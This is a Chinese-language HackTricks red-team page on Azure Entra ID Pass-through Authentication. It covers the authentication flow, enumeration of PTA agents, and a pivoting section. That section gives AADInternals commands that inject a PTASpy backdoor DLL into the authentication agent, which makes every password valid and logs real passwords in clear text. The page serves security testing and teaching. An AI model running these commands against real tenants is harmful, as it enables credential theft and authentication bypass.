Az - PTA - Pass-through Authentication

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

来自文档: Microsoft Entra 透传身份验证允许您的用户使用相同的密码登录本地和基于云的应用程序。此功能为您的用户提供了更好的体验 - 记住的密码减少了一次,并且降低了 IT 帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时,此功能会直接针对您的本地 Active Directory 验证用户的密码。

在 PTA 中,身份同步的,但密码不像 PHS 那样。

身份验证在本地 AD 中验证,与云的通信由在本地服务器上运行的身份验证代理完成(它不需要在本地 DC 上)。

身份验证流程

  1. 为了登录,用户被重定向到Azure AD,在这里他发送用户名密码
  2. 凭据加密并放入 Azure AD 的队列
  3. 本地身份验证代理从队列中收集凭据解密它们。这个代理被称为**“透传身份验证代理”PTA 代理**。
  4. 代理将凭据与本地 AD进行验证,并将响应****返回给 Azure AD,如果响应是积极的,完成用户的登录

Warning

如果攻击者破坏PTA,他可以查看队列中的所有凭据(以明文形式)。
他还可以验证任何凭据到 AzureAD(类似于 Skeleton key 的攻击)。

枚举

来自 Entra ID:

az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

检查代理是否在本地服务器上运行:

Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

如果您对运行 PTA agentAzure AD Connect server 拥有 admin 访问权限,您可以使用 AADInternals 模块来 插入后门,该后门将 验证所有输入的密码(因此所有密码都将有效用于身份验证):

Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

Note

如果安装失败,这可能是由于缺少 Microsoft Visual C++ 2015 Redistributables

这个后门将会:

  • 创建一个隐藏文件夹 C:\PTASpy
  • 复制 PTASpy.dllC:\PTASpy
  • PTASpy.dll 注入到 AzureADConnectAuthenticationAgentService 进程中

Note

当 AzureADConnectAuthenticationAgent 服务被重启时,PTASpy 会被“卸载”,必须重新安装。

Caution

在云中获得GA权限后,可以注册一个新的PTA代理,并且可以重复之前的步骤使用任何密码进行身份验证,并且以明文获取密码

Seamless SSO

可以使用 PTA 的 Seamless SSO,这对其他滥用是脆弱的。请查看:

Az - Seamless SSO

References

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks